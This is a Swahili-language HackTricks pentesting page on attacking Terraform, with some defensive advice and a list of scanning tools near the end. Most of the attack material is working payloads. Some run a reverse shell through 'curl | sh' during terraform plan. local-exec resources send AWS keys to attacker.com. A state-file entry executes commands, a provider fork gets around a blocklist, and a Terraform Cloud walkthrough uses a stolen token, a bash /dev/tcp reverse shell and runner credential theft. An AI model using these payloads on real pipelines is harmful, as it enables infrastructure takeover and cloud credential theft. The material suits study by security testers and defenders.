Terraform Security

Reading time: 17 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Basic Information

From the docs:

HashiCorp Terraform ni chombo cha miundombinu kama msimbo ambacho kinakuruhusu kufafanua rasilimali za wingu na za ndani katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana kusimamia na kudhibiti miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS.

Terraform inafanya kazi vipi?

Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma nyingine kupitia interfaces zao za programu za maombi (APIs). Watoa huduma wanaruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana.

HashiCorp na jamii ya Terraform tayari wameandika watoa huduma zaidi ya 1700 kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye Terraform Registry, ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi.

Mtiririko wa msingi wa Terraform unajumuisha hatua tatu:

  • Andika: Unafafanua rasilimali, ambazo zinaweza kuwa katika watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo.
  • Panga: Terraform inaunda mpango wa utekelezaji unaelezea miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako.
  • Tumia: Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual.

Terraform Lab

Sakinisha terraform kwenye kompyuta yako.

Hapa una mwongozo na hapa una njia bora ya kupakua terraform.

RCE katika Terraform: kuharibu faili ya usanidi

Terraform haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform au kuwa na uwezo wa kubadilisha faili ya hali ya terraform (angalia sura hapa chini).

Hata hivyo, terraform ni kipengele nyeti sana kuathiri kwa sababu itakuwa na ufikiaji wa kipaumbele kwa maeneo tofauti ili iweze kufanya kazi ipasavyo.

Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni kuathiri hazina inayohifadhi usanidi wa terraform, kwa sababu kwa wakati fulani wata fasiriwa.

Kwa kweli, kuna suluhisho huko nje ambazo zinaendesha mpango/tumia terraform kiotomatiki baada ya PR kuundwa, kama Atlantis:

Atlantis Security

Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza terraform plan au terraform apply.

Terraform plan

Terraform plan ni amri inayotumika zaidi katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo njia rahisi ya kupata RCE ni kuhakikisha unaharibu faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika terraform plan.

Kutumia mtoa huduma wa nje

Terraform inatoa external provider ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data external kuendesha msimbo wowote wakati wa plan.

Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha rev shell wakati wa kutekeleza terraform plan:

javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Kutumia mtoa huduma wa kawaida

Mshambuliaji anaweza kutuma custom provider kwa Terraform Registry na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele (mfano kutoka hapa):

javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Mtoa huduma anapakuliwa katika init na atatekeleza msimbo mbaya wakati plan inatekelezwa.

Unaweza kupata mfano katika https://github.com/rung/terraform-provider-cmdexec

Kutumia rejeleo la nje

Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia ya siri zaidi, kwa kufuata mapendekezo haya:

  • Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza kupakia rasilimali ya nje ambayo ina rev shell:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Katika rasilimali ya nje, tumia kipengele cha ref kuficha kodi ya rev shell ya terraform katika tawi ndani ya repo, kitu kama: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza faili ya Terraform yenye local-exec.
Unahitaji tu kuhakikisha payload kama ifuatavyo inamalizika katika faili ya main.tf:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Fuata mapendekezo kutoka kwa mbinu ya awali ili kufanya shambulio hili kwa njia ya siri zaidi kwa kutumia marejeleo ya nje.

Mifumo ya Siri

Unaweza kuwa na thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa ukikimbia terraform apply kwa kuongeza kwenye faili ya terraform kitu kama:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusing Terraform State Files

Katika hali ambapo una ruhusa ya kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, utafiti huu unatoa chaguzi za kuvutia za kunufaika na faili hiyo. Hata kama ungekuwa na ruhusa ya kuandika kwenye faili za usanidi, kutumia vector ya faili za hali mara nyingi ni ya ujanja zaidi, kwani huacha alama katika historia ya git.

RCE katika Terraform: uchafuzi wa faili za usanidi

Inawezekana kuunda mtoa huduma maalum na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali bandia inayorejelea mtoa huduma mbaya.

Mtoa huduma statefile-rce unajenga juu ya utafiti na kuifanya kanuni hii kuwa silaha. Unaweza kuongeza rasilimali bandia na kutaja amri ya bash isiyo na mipaka unayotaka kuendesha katika sifa ya command. Wakati mchakato wa terraform unapoanzishwa, hii itasomwa na kutekelezwa katika hatua za terraform plan na terraform apply. Katika hatua ya terraform apply, terraform itafuta rasilimali bandia kutoka kwa faili ya hali baada ya kutekeleza amri yako, ikijisafisha yenyewe. Taarifa zaidi na onyesho kamili yanaweza kupatikana katika GitHub repository inayohifadhi msimbo wa chanzo wa mtoa huduma huu.

Ili kuifanya moja kwa moja, jumuisha tu yafuatayo katika nafasi yoyote ya orodha ya resources na kubadilisha sifa za name na command:

json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Kisha, mara tu terraform itakapotekelezwa, msimbo wako utaendesha.

Kuondoa rasilimali

Kuna njia 2 za kuharibu rasilimali:

  1. Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu

Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichoonyeshwa). Mfano kutoka ukurasa wa awali:

json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)

Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya.

Badilisha mtoa huduma aliyeorodheshwa kama mweusi

Iwapo utapata hali ambapo hashicorp/external imeorodheshwa kama mweusi, unaweza kuitekeleza tena mtoa huduma external kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji upya pia.

terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Basi unaweza kutumia external kama kawaida.

terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

Hali hii inatumia Terraform Cloud (TFC) runners wakati wa mipango ya dhana ili kuhamasisha kwenye akaunti ya wingu ya lengo.

  • Masharti ya awali:

  • Pora token ya Terraform Cloud kutoka kwa mashine ya mende. CLI inahifadhi token katika maandiko wazi kwenye ~/.terraform.d/credentials.tfrc.json.

  • Token lazima iwe na ufikiaji wa shirika/nafasi ya lengo na angalau ruhusa ya plan. Nafasi zinazoungwa mkono na VCS zinazuia apply kutoka CLI, lakini bado zinaruhusu mipango ya dhana.

  • Gundua mipangilio ya nafasi na VCS kupitia TFC API:

bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Chochea utekelezaji wa msimbo wakati wa mpango wa dhana ukitumia chanzo cha data za nje na block ya "cloud" ya Terraform Cloud ili kulenga nafasi ya kazi inayotegemea VCS:
hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Mfano wa rsync.sh kupata shell ya kinyume kwenye TFC runner:

bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Fanya mpango wa dhana kutekeleza programu kwenye mchezaji wa muda mfupi:

bash
terraform init
terraform plan
  • Tambua na uhamasisha akreditif za wingu zilizowekwa kutoka kwa mchezaji. Wakati wa kukimbia, TFC inaingiza akreditif za mtoa huduma kupitia faili na vigezo vya mazingira:
bash
env | grep -i gcp || true
env | grep -i aws || true

Inatarajiwa faili kwenye saraka ya kazi ya mkimbiaji:

  • GCP:

  • tfc-google-application-credentials (Mifumo ya Usimamizi wa Utambulisho wa JSON)

  • tfc-gcp-token (token ya ufikiaji ya GCP ya muda mfupi)

  • AWS:

  • tfc-aws-shared-config (mifumo ya utambulisho wa wavuti/OIDC)

  • tfc-aws-token (token ya muda mfupi; baadhi ya mashirika yanaweza kutumia funguo za kudumu)

  • Tumia akreditivu za muda mfupi nje ya muktadha ili kupita milango ya VCS:

GCP (gcloud):

bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Kwa hizi creds, washambuliaji wanaweza kuunda/kubadilisha/kubomoa rasilimali moja kwa moja kwa kutumia CLIs za asili, wakiepuka workflows za PR zinazozuia apply kupitia VCS.

  • Mwongozo wa kujihami:
  • Tekeleza kanuni ya chini ya kibali kwa watumiaji/teams na tokens za TFC. Kagua uanachama na epuka wamiliki wakubwa.
  • Punguza ruhusa ya plan kwenye maeneo ya kazi yanayoungwa mkono na VCS ambayo ni nyeti inapowezekana.
  • Lazimisha orodha za ruhusa za mtoa huduma/chanzo cha data kwa sera za Sentinel ili kuzuia data "external" au watoa huduma wasiojulikana. Tazama mwongozo wa HashiCorp kuhusu kuchuja watoa huduma.
  • Prefer OIDC/WIF badala ya akreditivu za wingu za kudumu; chukulia waendesha kama nyeti. Fuata mipango ya mpango wa dhana na kutoka zisizotarajiwa.
  • Gundua uhamasishaji wa vitu vya akreditivu tfc-* na onya juu ya matumizi ya programu ya external isiyo ya kawaida wakati wa mipango.

Zana za Ukaguzi wa Otomatiki

Snyk Infrastructure as Code (IaC)

Snyk inatoa suluhisho kamili la skanning la Infrastructure as Code (IaC) linalogundua udhaifu na makosa katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC.

  • Vipengele:
  • Skanning ya wakati halisi kwa udhaifu wa usalama na masuala ya kufuata.
  • Uunganisho na mifumo ya kudhibiti toleo (GitHub, GitLab, Bitbucket).
  • Maombi ya kurekebisha otomatiki.
  • Ushauri wa kina wa kurekebisha.
  • Jisajili: Unda akaunti kwenye Snyk.
bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov ni chombo cha uchambuzi wa msimbo wa statiki kwa miundombinu kama msimbo (IaC) na pia chombo cha uchambuzi wa muundo wa programu (SCA) kwa picha na pakiti za chanzo wazi.

Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, au OpenTofu na kugundua makosa ya usalama na kufuata kwa kutumia uchambuzi wa msingi wa grafu.

Inatekeleza Software Composition Analysis (SCA) scanning ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Hatari na Ufunuo wa Pamoja (CVEs).

bash
pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance ni mfumo wa majaribio mwepesi, unaolenga usalama na ufuatiliaji wa sheria dhidi ya terraform ili kuwezesha uwezo wa majaribio hasi kwa miundombinu yako kama msimbo.

  • compliance: Hakikisha kwamba msimbo ulioanzishwa unafuata viwango vya usalama, viwango vyako vya kawaida
  • behaviour driven development: Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC?
  • portable: sakinisha tu kutoka pip au uendeshe kupitia docker. Tazama Installation
  • pre-deploy: inathibitisha msimbo wako kabla ya kupelekwa
  • easy to integrate: inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba uhamasishaji wote umethibitishwa.
  • segregation of duty: unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika.

note

Kwa bahati mbaya, ikiwa msimbo unatumia baadhi ya watoa huduma ambao huna ufikiaji nao, huwezi kufanya terraform plan na kuendesha chombo hiki.

bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Kutoka kwa docs: tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform kubaini uwezekano wa makosa ya usanidi.

  • ☁️ Inakagua makosa ya usanidi katika watoa huduma wote wakuu (na wengine wadogo)
  • ⛔ Mamia ya sheria zilizojengwa ndani
  • 🪆 Inachanganua moduli (za ndani na za mbali)
  • ➕ Inakadiria maelezo ya HCL pamoja na thamani halisi
  • ↪️ Inakadiria kazi za Terraform mfano concat()
  • 🔗 Inakadiria uhusiano kati ya rasilimali za Terraform
  • 🧰 Inafaa na Terraform CDK
  • 🙅 Inatumia (na kuimarisha) sera za Rego zilizofafanuliwa na mtumiaji
  • 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya default), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif.
  • 🛠️ Inaweza kubadilishwa (kupitia bendera za CLI na/au faili ya usanidi)
  • ⚡ Haraka sana, ina uwezo wa kuchanganua haraka hifadhi kubwa
bash
brew install tfsec
tfsec /path/to/folder

KICKS

Pata udhaifu wa usalama, masuala ya kufuata sheria, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia KICS kutoka Checkmarx.

KICS inasimama kwa Kuendelea Imiundombinu kama Code Salama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia.

bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Kutoka kwenye docs: Terrascan ni mchanganuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha:

  • Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida.
  • Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya msimamo, na kuwezesha kurudi kwenye msimamo salama.
  • Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria.
  • Kupunguza hatari kabla ya kutoa miundombinu asilia ya wingu.
  • Kutoa uwezekano wa kufanya kazi kwa ndani au kuungana na CI\CD yako.
bash
brew install terrascan

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks